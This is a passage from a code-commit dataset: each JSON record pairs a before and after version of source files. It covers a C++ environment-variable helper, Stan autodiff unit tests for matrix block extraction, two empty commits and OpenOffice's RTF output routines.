value)\n{\n   Options::iterator it = std::find_if(\n                                 pEnvironment->begin(),\n                                 pEnvironment->end(),\n                                 boost::bind(impl::optionIsNamed, _1, name));\n   if (it != pEnvironment->end())\n      *it = std::make_pair(name, value);\n   else\n      pEnvironment->push_back(std::make_pair(name, value));\n}\n\n\/\/ remove an enviroment variable from an Options structure\nvoid unsetenv(Options* pEnvironment, const std::string& name)\n{\n   pEnvironment->erase(std::remove_if(pEnvironment->begin(),\n                                      pEnvironment->end(),\n                                      boost::bind(impl::optionIsNamed,\n                                                  _1,\n                                                  name)),\n                       pEnvironment->end());\n}\n\n\/\/ add to the PATH within an Options struture\nvoid addToPath(Options* pEnvironment,\n               const std::string& filePath)\n{\n   std::string path = getenv(*pEnvironment, \"PATH\");\n   path = path + kPathSeparator + filePath;\n   setenv(pEnvironment, \"PATH\", path);\n}\n\nbool parseEnvVar(const std::string envVar, Option* pEnvVar)\n{\n   std::string::size_type pos = envVar.find(\"=\") ;\n   if ( pos != std::string::npos )\n   {\n      std::string key = envVar.substr(0, pos) ;\n      std::string value;\n      if ( (pos + 1) < envVar.size() )\n         value = envVar.substr(pos + 1) ;\n      *pEnvVar = std::make_pair(key,value);\n      return true;\n   }\n   else\n   {\n      return false;\n   }\n}\n\n} \/\/ namespace system\n} \/\/ namespace core\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include <stan\/math\/matrix\/block.hpp>\n#include <stan\/agrad\/fwd\/matrix\/typedefs.hpp>\n#include <stan\/agrad\/var.hpp>\n\nTEST(AgradFwdMatrix,block_matrix) {\n  using stan::math::block;\n  using stan::agrad::matrix_fv;\n  using stan::agrad::vector_fv;\n\n  matrix_fv v(3,3);\n  v << 1, 4, 9,1, 4, 9,1, 4, 9;\n   v(0,0).d_ = 1.0;\n   v(0,1).d_ = 2.0;\n   v(0,2).d_ = 3.0;\n   v(1,0).d_ = 1.0;\n   v(1,1).d_ = 2.0;\n   v(1,2).d_ = 3.0;\n   v(2,0).d_ = 1.0;\n   v(2,1).d_ = 2.0;\n   v(2,2).d_ = 3.0;\n  matrix_fv m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_);\n  EXPECT_EQ(4,m(0,1).val_);\n  EXPECT_EQ(9,m(0,2).val_);\n  EXPECT_EQ(1,m(1,0).val_);\n  EXPECT_EQ(4,m(1,1).val_);\n  EXPECT_EQ(9,m(1,2).val_);\n  EXPECT_EQ(1,m(2,0).val_);\n  EXPECT_EQ(4,m(2,1).val_);\n  EXPECT_EQ(9,m(2,2).val_);\n  EXPECT_EQ(1,m(0,0).val_);\n  EXPECT_EQ(2,m(0,1).d_);\n  EXPECT_EQ(3,m(0,2).d_);\n  EXPECT_EQ(1,m(1,0).d_);\n  EXPECT_EQ(2,m(1,1).d_);\n  EXPECT_EQ(3,m(1,2).d_);\n  EXPECT_EQ(1,m(2,0).d_);\n  EXPECT_EQ(2,m(2,1).d_);\n  EXPECT_EQ(3,m(2,2).d_);\n\n  matrix_fv n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_);\n  EXPECT_EQ(9,n(0,1).val_);\n  EXPECT_EQ(4,n(1,0).val_);\n  EXPECT_EQ(9,n(1,1).val_);\n  EXPECT_EQ(2,n(0,0).d_);\n  EXPECT_EQ(3,n(0,1).d_);\n  EXPECT_EQ(2,n(1,0).d_);\n  EXPECT_EQ(3,n(1,1).d_);\n}\nTEST(AgradFwdMatrix,block_matrix_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_fv;\n\n  matrix_fv v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\nTEST(AgradFwdFvarVarMatrix,block_matrix) {\n  using stan::math::block;\n  using stan::agrad::matrix_fvv;\n  using stan::agrad::vector_fvv;\n  using stan::agrad::fvar;\n  using stan::agrad::var;\n\n  fvar<var> a(1.0,1.0);\n  fvar<var> b(4.0,2.0);\n  fvar<var> c(9.0,3.0);\n  matrix_fvv v(3,3);\n  v << a,b,c,a,b,c,a,b,c;\n\n  matrix_fvv m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(4,m(0,1).val_.val());\n  EXPECT_EQ(9,m(0,2).val_.val());\n  EXPECT_EQ(1,m(1,0).val_.val());\n  EXPECT_EQ(4,m(1,1).val_.val());\n  EXPECT_EQ(9,m(1,2).val_.val());\n  EXPECT_EQ(1,m(2,0).val_.val());\n  EXPECT_EQ(4,m(2,1).val_.val());\n  EXPECT_EQ(9,m(2,2).val_.val());\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(2,m(0,1).d_.val());\n  EXPECT_EQ(3,m(0,2).d_.val());\n  EXPECT_EQ(1,m(1,0).d_.val());\n  EXPECT_EQ(2,m(1,1).d_.val());\n  EXPECT_EQ(3,m(1,2).d_.val());\n  EXPECT_EQ(1,m(2,0).d_.val());\n  EXPECT_EQ(2,m(2,1).d_.val());\n  EXPECT_EQ(3,m(2,2).d_.val());\n\n  matrix_fvv n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_.val());\n  EXPECT_EQ(9,n(0,1).val_.val());\n  EXPECT_EQ(4,n(1,0).val_.val());\n  EXPECT_EQ(9,n(1,1).val_.val());\n  EXPECT_EQ(2,n(0,0).d_.val());\n  EXPECT_EQ(3,n(0,1).d_.val());\n  EXPECT_EQ(2,n(1,0).d_.val());\n  EXPECT_EQ(3,n(1,1).d_.val());\n}\nTEST(AgradFwdFvarVarMatrix,block_matrix_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_fvv;\n\n  matrix_fvv v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\nTEST(AgradFwdFvarFvarMatrix,block_matrix) {\n  using stan::math::block;\n  using stan::agrad::matrix_ffv;\n  using stan::agrad::vector_ffv;\n  using stan::agrad::fvar;\n\n  fvar<fvar<double> > a;\n  fvar<fvar<double> > b;\n  fvar<fvar<double> > c;\n\n  a.val_.val_ = 1.0;\n  a.d_.val_ = 1.0;  \n  b.val_.val_ = 4.0;\n  b.d_.val_ = 2.0;\n  c.val_.val_ = 9.0;\n  c.d_.val_ = 3.0;\n\n  matrix_ffv v(3,3);\n  v << a,b,c,a,b,c,a,b,c;\n\n  matrix_ffv m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(4,m(0,1).val_.val());\n  EXPECT_EQ(9,m(0,2).val_.val());\n  EXPECT_EQ(1,m(1,0).val_.val());\n  EXPECT_EQ(4,m(1,1).val_.val());\n  EXPECT_EQ(9,m(1,2).val_.val());\n  EXPECT_EQ(1,m(2,0).val_.val());\n  EXPECT_EQ(4,m(2,1).val_.val());\n  EXPECT_EQ(9,m(2,2).val_.val());\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(2,m(0,1).d_.val());\n  EXPECT_EQ(3,m(0,2).d_.val());\n  EXPECT_EQ(1,m(1,0).d_.val());\n  EXPECT_EQ(2,m(1,1).d_.val());\n  EXPECT_EQ(3,m(1,2).d_.val());\n  EXPECT_EQ(1,m(2,0).d_.val());\n  EXPECT_EQ(2,m(2,1).d_.val());\n  EXPECT_EQ(3,m(2,2).d_.val());\n\n  matrix_ffv n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_.val());\n  EXPECT_EQ(9,n(0,1).val_.val());\n  EXPECT_EQ(4,n(1,0).val_.val());\n  EXPECT_EQ(9,n(1,1).val_.val());\n  EXPECT_EQ(2,n(0,0).d_.val());\n  EXPECT_EQ(3,n(0,1).d_.val());\n  EXPECT_EQ(2,n(1,0).d_.val());\n  EXPECT_EQ(3,n(1,1).d_.val());\n}\nTEST(AgradFwdFvarFvarMatrix,block_matrix_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_ffv;\n\n  matrix_ffv v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\n<commit_msg>added more autodiff tests for block<commit_after>#include <gtest\/gtest.h>\n#include <stan\/math\/matrix\/block.hpp>\n#include <stan\/agrad\/fwd\/matrix\/typedefs.hpp>\n#include <stan\/agrad\/var.hpp>\n#include <test\/agrad\/util.hpp>\n\nTEST(Agrad_Fwd_Matrix_Block,matrix_fd) {\n  using stan::math::block;\n  using stan::agrad::matrix_fd;\n  using stan::agrad::vector_fd;\n\n  matrix_fd v(3,3);\n  v << 1, 4, 9,1, 4, 9,1, 4, 9;\n   v(0,0).d_ = 1.0;\n   v(0,1).d_ = 2.0;\n   v(0,2).d_ = 3.0;\n   v(1,0).d_ = 1.0;\n   v(1,1).d_ = 2.0;\n   v(1,2).d_ = 3.0;\n   v(2,0).d_ = 1.0;\n   v(2,1).d_ = 2.0;\n   v(2,2).d_ = 3.0;\n  matrix_fd m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_);\n  EXPECT_EQ(4,m(0,1).val_);\n  EXPECT_EQ(9,m(0,2).val_);\n  EXPECT_EQ(1,m(1,0).val_);\n  EXPECT_EQ(4,m(1,1).val_);\n  EXPECT_EQ(9,m(1,2).val_);\n  EXPECT_EQ(1,m(2,0).val_);\n  EXPECT_EQ(4,m(2,1).val_);\n  EXPECT_EQ(9,m(2,2).val_);\n  EXPECT_EQ(1,m(0,0).val_);\n  EXPECT_EQ(2,m(0,1).d_);\n  EXPECT_EQ(3,m(0,2).d_);\n  EXPECT_EQ(1,m(1,0).d_);\n  EXPECT_EQ(2,m(1,1).d_);\n  EXPECT_EQ(3,m(1,2).d_);\n  EXPECT_EQ(1,m(2,0).d_);\n  EXPECT_EQ(2,m(2,1).d_);\n  EXPECT_EQ(3,m(2,2).d_);\n\n  matrix_fd n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_);\n  EXPECT_EQ(9,n(0,1).val_);\n  EXPECT_EQ(4,n(1,0).val_);\n  EXPECT_EQ(9,n(1,1).val_);\n  EXPECT_EQ(2,n(0,0).d_);\n  EXPECT_EQ(3,n(0,1).d_);\n  EXPECT_EQ(2,n(1,0).d_);\n  EXPECT_EQ(3,n(1,1).d_);\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_fd_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_fd;\n\n  matrix_fd v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_fv) {\n  using stan::math::block;\n  using stan::agrad::matrix_fv;\n  using stan::agrad::vector_fv;\n  using stan::agrad::fvar;\n  using stan::agrad::var;\n\n  fvar<var> a(1.0,1.0);\n  fvar<var> b(4.0,2.0);\n  fvar<var> c(9.0,3.0);\n  matrix_fv v(3,3);\n  v << a,b,c,a,b,c,a,b,c;\n\n  matrix_fv m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(4,m(0,1).val_.val());\n  EXPECT_EQ(9,m(0,2).val_.val());\n  EXPECT_EQ(1,m(1,0).val_.val());\n  EXPECT_EQ(4,m(1,1).val_.val());\n  EXPECT_EQ(9,m(1,2).val_.val());\n  EXPECT_EQ(1,m(2,0).val_.val());\n  EXPECT_EQ(4,m(2,1).val_.val());\n  EXPECT_EQ(9,m(2,2).val_.val());\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(2,m(0,1).d_.val());\n  EXPECT_EQ(3,m(0,2).d_.val());\n  EXPECT_EQ(1,m(1,0).d_.val());\n  EXPECT_EQ(2,m(1,1).d_.val());\n  EXPECT_EQ(3,m(1,2).d_.val());\n  EXPECT_EQ(1,m(2,0).d_.val());\n  EXPECT_EQ(2,m(2,1).d_.val());\n  EXPECT_EQ(3,m(2,2).d_.val());\n\n  matrix_fv n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_.val());\n  EXPECT_EQ(9,n(0,1).val_.val());\n  EXPECT_EQ(4,n(1,0).val_.val());\n  EXPECT_EQ(9,n(1,1).val_.val());\n  EXPECT_EQ(2,n(0,0).d_.val());\n  EXPECT_EQ(3,n(0,1).d_.val());\n  EXPECT_EQ(2,n(1,0).d_.val());\n  EXPECT_EQ(3,n(1,1).d_.val());\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_fv_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_fv;\n\n  matrix_fv v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_ffd) {\n  using stan::math::block;\n  using stan::agrad::matrix_ffd;\n  using stan::agrad::vector_ffd;\n  using stan::agrad::fvar;\n\n  fvar<fvar<double> > a;\n  fvar<fvar<double> > b;\n  fvar<fvar<double> > c;\n\n  a.val_.val_ = 1.0;\n  a.d_.val_ = 1.0;  \n  b.val_.val_ = 4.0;\n  b.d_.val_ = 2.0;\n  c.val_.val_ = 9.0;\n  c.d_.val_ = 3.0;\n\n  matrix_ffd v(3,3);\n  v << a,b,c,a,b,c,a,b,c;\n\n  matrix_ffd m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(4,m(0,1).val_.val());\n  EXPECT_EQ(9,m(0,2).val_.val());\n  EXPECT_EQ(1,m(1,0).val_.val());\n  EXPECT_EQ(4,m(1,1).val_.val());\n  EXPECT_EQ(9,m(1,2).val_.val());\n  EXPECT_EQ(1,m(2,0).val_.val());\n  EXPECT_EQ(4,m(2,1).val_.val());\n  EXPECT_EQ(9,m(2,2).val_.val());\n  EXPECT_EQ(1,m(0,0).val_.val());\n  EXPECT_EQ(2,m(0,1).d_.val());\n  EXPECT_EQ(3,m(0,2).d_.val());\n  EXPECT_EQ(1,m(1,0).d_.val());\n  EXPECT_EQ(2,m(1,1).d_.val());\n  EXPECT_EQ(3,m(1,2).d_.val());\n  EXPECT_EQ(1,m(2,0).d_.val());\n  EXPECT_EQ(2,m(2,1).d_.val());\n  EXPECT_EQ(3,m(2,2).d_.val());\n\n  matrix_ffd n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_.val());\n  EXPECT_EQ(9,n(0,1).val_.val());\n  EXPECT_EQ(4,n(1,0).val_.val());\n  EXPECT_EQ(9,n(1,1).val_.val());\n  EXPECT_EQ(2,n(0,0).d_.val());\n  EXPECT_EQ(3,n(0,1).d_.val());\n  EXPECT_EQ(2,n(1,0).d_.val());\n  EXPECT_EQ(3,n(1,1).d_.val());\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_ffd_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_ffd;\n\n  matrix_ffd v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_ffv) {\n  using stan::math::block;\n  using stan::agrad::matrix_ffv;\n  using stan::agrad::vector_ffv;\n  using stan::agrad::fvar;\n  using stan::agrad::var;\n\n  fvar<fvar<var> > a;\n  fvar<fvar<var> > b;\n  fvar<fvar<var> > c;\n\n  a.val_.val_ = 1.0;\n  a.d_.val_ = 1.0;  \n  b.val_.val_ = 4.0;\n  b.d_.val_ = 2.0;\n  c.val_.val_ = 9.0;\n  c.d_.val_ = 3.0;\n\n  matrix_ffv v(3,3);\n  v << a,b,c,a,b,c,a,b,c;\n\n  matrix_ffv m = block(v, 1,1,3,3);\n  EXPECT_EQ(1,m(0,0).val_.val().val());\n  EXPECT_EQ(4,m(0,1).val_.val().val());\n  EXPECT_EQ(9,m(0,2).val_.val().val());\n  EXPECT_EQ(1,m(1,0).val_.val().val());\n  EXPECT_EQ(4,m(1,1).val_.val().val());\n  EXPECT_EQ(9,m(1,2).val_.val().val());\n  EXPECT_EQ(1,m(2,0).val_.val().val());\n  EXPECT_EQ(4,m(2,1).val_.val().val());\n  EXPECT_EQ(9,m(2,2).val_.val().val());\n  EXPECT_EQ(1,m(0,0).val_.val().val());\n  EXPECT_EQ(2,m(0,1).d_.val().val());\n  EXPECT_EQ(3,m(0,2).d_.val().val());\n  EXPECT_EQ(1,m(1,0).d_.val().val());\n  EXPECT_EQ(2,m(1,1).d_.val().val());\n  EXPECT_EQ(3,m(1,2).d_.val().val());\n  EXPECT_EQ(1,m(2,0).d_.val().val());\n  EXPECT_EQ(2,m(2,1).d_.val().val());\n  EXPECT_EQ(3,m(2,2).d_.val().val());\n\n  matrix_ffv n = block(v, 2,2,2,2);\n  EXPECT_EQ(4,n(0,0).val_.val().val());\n  EXPECT_EQ(9,n(0,1).val_.val().val());\n  EXPECT_EQ(4,n(1,0).val_.val().val());\n  EXPECT_EQ(9,n(1,1).val_.val().val());\n  EXPECT_EQ(2,n(0,0).d_.val().val());\n  EXPECT_EQ(3,n(0,1).d_.val().val());\n  EXPECT_EQ(2,n(1,0).d_.val().val());\n  EXPECT_EQ(3,n(1,1).d_.val().val());\n}\nTEST(Agrad_Fwd_Matrix_Block,matrix_ffv_exception) {\n  using stan::math::block;\n  using stan::agrad::matrix_ffv;\n\n  matrix_ffv v(3,3);\n  EXPECT_THROW(block(v,0,0,1,1), std::domain_error);\n  EXPECT_THROW(block(v,1,1,4,4), std::domain_error);\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Update one up\/down<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Add a workaround for the FBX COLLADA exporter<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: rtfout.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 16:50:06 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _STREAM_HXX\n#include <tools\/stream.hxx>\n#endif\n#ifndef _STRING_HXX\n#include <tools\/string.hxx>\n#endif\n#ifndef _RTL_STRING_HXX_\n#include <rtl\/string.hxx>\n#endif\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\n#ifndef _RTFKEYWD_HXX\n#include <rtfkeywd.hxx>\n#endif\n#ifndef _RTFOUT_HXX\n#include <rtfout.hxx>\n#endif\n\nusing namespace rtl;\n\n#if defined(MAC)\nconst sal_Char RTFOutFuncs::sNewLine = '\\015';\n#elif defined(UNX)\nconst sal_Char RTFOutFuncs::sNewLine = '\\012';\n#else\nconst sal_Char __FAR_DATA RTFOutFuncs::sNewLine[] = \"\\015\\012\";\n#endif\n\n\nSvStream& RTFOutFuncs::Out_Char(SvStream& rStream, sal_Unicode c,\n    int *pUCMode, rtl_TextEncoding eDestEnc, BOOL bWriteHelpFile)\n{\n    const sal_Char* pStr = 0;\n    switch (c)\n    {\n    case 0x1:\n    case 0x2:\n        \/\/ this are control character of our textattributes and will never be\n        \/\/ written\n        break;\n    case 0xA0:\n        rStream << \"\\\\~\";\n        break;\n    case 0xAD:\n        rStream << \"\\\\-\";\n        break;\n    case 0x2011:\n        rStream << \"\\\\_\";\n        break;\n    case '\\n':\n        pStr = sRTF_LINE;\n        break;\n    case '\\t':\n        pStr = sRTF_TAB;\n        break;\n    default:\n        if(!bWriteHelpFile)\n        {\n            switch(c)\n            {\n                case 149:\n                    pStr = sRTF_BULLET;\n                    break;\n                case 150:\n                    pStr = sRTF_ENDASH;\n                    break;\n                case 151:\n                    pStr = sRTF_EMDASH;\n                    break;\n                case 145:\n                    pStr = sRTF_LQUOTE;\n                    break;\n                case 146:\n                    pStr = sRTF_RQUOTE;\n                    break;\n                case 147:\n                    pStr = sRTF_LDBLQUOTE;\n                    break;\n                case 148:\n                    pStr = sRTF_RDBLQUOTE;\n                    break;\n            }\n\n            if (pStr)\n                break;\n        }\n\n        switch (c)\n        {\n            case '\\\\':\n            case '}':\n            case '{':\n                rStream << '\\\\' << (sal_Char)c;\n                break;\n            default:\n                if (c >= ' ' && c <= '~')\n                    rStream << (sal_Char)c;\n                else\n                {\n                    \/\/If we can't convert to the dest encoding, or if\n                    \/\/its an uncommon multibyte sequence which most\n                    \/\/readers won't be able to handle correctly, then\n                    \/\/If we can't convert to the dest encoding, then\n                    \/\/export as unicode\n                    OUString sBuf(&c, 1);\n                    OString sConverted;\n                    sal_uInt32 nFlags =\n                        RTL_UNICODETOTEXT_FLAGS_UNDEFINED_ERROR |\n                        RTL_UNICODETOTEXT_FLAGS_INVALID_ERROR;\n                    bool bWriteAsUnicode = !(sBuf.convertToString(&sConverted,\n                                         eDestEnc, nFlags))\n                                            || (RTL_TEXTENCODING_UTF8==eDestEnc); \/\/ #i43933# do not export UTF-8 chars in RTF;\n                    if (bWriteAsUnicode)\n                    {\n                        sBuf.convertToString(&sConverted,\n                            eDestEnc, OUSTRING_TO_OSTRING_CVTFLAGS);\n                    }\n                    const sal_Int32 nLen = sConverted.getLength();\n\n                    if (bWriteAsUnicode && pUCMode)\n                    {\n                        \/\/ then write as unicode - character\n                        if (*pUCMode != nLen)\n                        {\n                          rStream << \"\\\\uc\" << ByteString::CreateFromInt32(nLen).GetBuffer() << \" \"; \/\/ #i47831# add an additional whitespace, so that \"document whitespaces\" are not ignored.;\n                            *pUCMode = nLen;\n                        }\n                        ByteString sNo(ByteString::CreateFromInt32(c));\n                         rStream << \"\\\\u\" << sNo.GetBuffer();\n                    }\n\n                    for (sal_Int32 nI = 0; nI < nLen; ++nI)\n                    {\n                        rStream << \"\\\\'\";\n                        Out_Hex(rStream, sConverted.getStr()[nI], 2);\n                    }\n                }\n                break;\n        }\n        break;\n    }\n\n    if (pStr)\n        rStream << pStr << ' ';\n\n    return rStream;\n}\n\nSvStream& RTFOutFuncs::Out_String( SvStream& rStream, const String& rStr,\n    rtl_TextEncoding eDestEnc, BOOL bWriteHelpFile)\n{\n    int nUCMode = 1;\n    for (xub_StrLen n = 0; n < rStr.Len(); ++n)\n        Out_Char(rStream, rStr.GetChar(n), &nUCMode, eDestEnc, bWriteHelpFile);\n    if (nUCMode != 1)\n      rStream << \"\\\\uc1\"<< \" \"; \/\/ #i47831# add an additional whitespace, so that \"document whitespaces\" are not ignored.;\n    return rStream;\n}\n\nSvStream& RTFOutFuncs::Out_Fontname(SvStream& rStream, const String& rStr,\n    rtl_TextEncoding eDestEnc, BOOL bWriteHelpFile)\n{\n    \/\/Fontnames in word have a quirk in that \\uc and usage of ansi replacement\n    \/\/chars after a \\u don't work and in wordpad \\u doesn't work, so we are\n    \/\/left with forcing ansi characters only for fontnames\n    for (xub_StrLen n = 0; n < rStr.Len(); ++n)\n        Out_Char(rStream, rStr.GetChar(n), 0, eDestEnc, bWriteHelpFile);\n    return rStream;\n}\n\nSvStream& RTFOutFuncs::Out_Hex( SvStream& rStream, ULONG nHex, BYTE nLen )\n{\n    sal_Char aNToABuf[] = \"0000000000000000\";\n\n    DBG_ASSERT( nLen < sizeof(aNToABuf), \"zu viele Stellen\" );\n    if( nLen >= sizeof(aNToABuf) )\n        nLen = (sizeof(aNToABuf)-1);\n\n    \/\/ Pointer an das Bufferende setzen\n    sal_Char* pStr = aNToABuf + (sizeof(aNToABuf)-1);\n    for( BYTE n = 0; n < nLen; ++n )\n    {\n        *(--pStr) = (sal_Char)(nHex & 0xf ) + 48;\n        if( *pStr > '9' )\n            *pStr += 39;\n        nHex >>= 4;\n    }\n    return rStream << pStr;\n}\n\n\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.8.326); FILE MERGED 2006\/09\/01 17:43:31 kaib 1.8.326.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: rtfout.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 15:27:54 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _STREAM_HXX\n#include <tools\/stream.hxx>\n#endif\n#ifndef _STRING_HXX\n#include <tools\/string.hxx>\n#endif\n#ifndef _RTL_STRING_HXX_\n#include <rtl\/string.hxx>\n#endif\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\n#ifndef _RTFKEYWD_HXX\n#include <rtfkeywd.hxx>\n#endif\n#ifndef _RTFOUT_HXX\n#include <rtfout.hxx>\n#endif\n\nusing namespace rtl;\n\n#if defined(MAC)\nconst sal_Char RTFOutFuncs::sNewLine = '\\015';\n#elif defined(UNX)\nconst sal_Char RTFOutFuncs::sNewLine = '\\012';\n#else\nconst sal_Char __FAR_DATA RTFOutFuncs::sNewLine[] = \"\\015\\012\";\n#endif\n\n\nSvStream& RTFOutFuncs::Out_Char(SvStream& rStream, sal_Unicode c,\n    int *pUCMode, rtl_TextEncoding eDestEnc, BOOL bWriteHelpFile)\n{\n    const sal_Char* pStr = 0;\n    switch (c)\n    {\n    case 0x1:\n    case 0x2:\n        \/\/ this are control character of our textattributes and will never be\n        \/\/ written\n        break;\n    case 0xA0:\n        rStream << \"\\\\~\";\n        break;\n    case 0xAD:\n        rStream << \"\\\\-\";\n        break;\n    case 0x2011:\n        rStream << \"\\\\_\";\n        break;\n    case '\\n':\n        pStr = sRTF_LINE;\n        break;\n    case '\\t':\n        pStr = sRTF_TAB;\n        break;\n    default:\n        if(!bWriteHelpFile)\n        {\n            switch(c)\n            {\n                case 149:\n                    pStr = sRTF_BULLET;\n                    break;\n                case 150:\n                    pStr = sRTF_ENDASH;\n                    break;\n                case 151:\n                    pStr = sRTF_EMDASH;\n                    break;\n                case 145:\n                    pStr = sRTF_LQUOTE;\n                    break;\n                case 146:\n                    pStr = sRTF_RQUOTE;\n                    break;\n                case 147:\n                    pStr = sRTF_LDBLQUOTE;\n                    break;\n                case 148:\n                    pStr = sRTF_RDBLQUOTE;\n                    break;\n            }\n\n            if (pStr)\n                break;\n        }\n\n        switch (c)\n        {\n            case '\\\\':\n            case '}':\n            case '{':\n                rStream << '\\\\' << (sal_Char)c;\n                break;\n            default:\n                if (c >= ' ' && c <= '~')\n                    rStream << (sal_Char)c;\n                else\n                {\n                    \/\/If we can't convert to the dest encoding, or if\n                    \/\/its an uncommon multibyte sequence which most\n                    \/\/readers won't be able to handle correctly, then\n                    \/\/If we can't convert to the dest encoding, then\n                    \/\/export as unicode\n                    OUString sBuf(&c, 1);\n                    OString sConverted;\n                    sal_uInt32 nFlags =\n                        RTL_UNICODETOTEXT_FLAGS_UNDEFINED_ERROR |\n                        RTL_UNICODETOTEXT_FLAGS_INVALID_ERROR;\n                    bool bWriteAsUnicode = !(sBuf.convertToString(&sConverted,\n                                         eDestEnc, nFlags))\n                                            || (RTL_TEXTENCODING_UTF8==eDestEnc); \/\/ #i43933# do not export UTF-8 chars in RTF;\n                    if (bWriteAsUnicode)\n                    {\n                        sBuf.convertToString(&sConverted,\n                            eDestEnc, OUSTRING_TO_OSTRING_CVTFLAGS);\n                    }\n                    const sal_Int32 nLen = sConverted.getLength();\n\n                    if (bWriteAsUnicode && pUCMode)\n                    {\n                        \/\/ then write as unicode - character\n                        if (*pUCMode != nLen)\n                        {\n                          rStream << \"\\\\uc\" << ByteString::CreateFromInt32(nLen).GetBuffer() << \" \"; \/\/ #i47831# add an additional whitespace, so that \"document whitespaces\" are not ignored.;\n                            *pUCMode = nLen;\n                        }\n                        ByteString sNo(ByteString::CreateFromInt32(c));\n                         rStream << \"\\\\u\" << sNo.GetBuffer();\n                    }\n\n                    for (sal_Int32 nI = 0; nI < nLen; ++nI)\n                    {\n                     